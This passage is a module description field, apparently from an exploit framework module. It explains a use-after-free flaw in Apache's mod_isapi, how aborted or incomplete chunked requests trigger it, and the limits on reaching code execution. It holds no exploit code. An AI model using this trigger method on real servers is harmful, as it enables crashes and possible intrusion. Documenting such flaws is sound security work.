      'Description'    => %q{
          This module triggers a use-after-free vulnerability in the Apache Software
        Foundation mod_isapi extension. In order to reach the vulnerable code, the
        target server must have an ISAPI module installed and configured.

        By making a request that terminates abnormally (either an aborted TCP connection or
        an unsatisfied chunked request), mod_isapi will unload the ISAPI extension. Later,
        if another request comes for that ISAPI module, previously obtained pointers will
        be used resulting in an access violation or potentially arbitrary code execution.

        Although arbitrary code execution is theoretically possible, a real-world method of
        invoking this consequence has not been proven. In order to do so, one would need to
        find a situation where a particular ISAPI module loads at an image base address
        that can be re-allocated by a remote attacker.

        Limited success was encountered using two separate ISAPI modules. In this scenario,
        a second ISAPI module was loaded into the same memory area as the previously
        unloaded module.
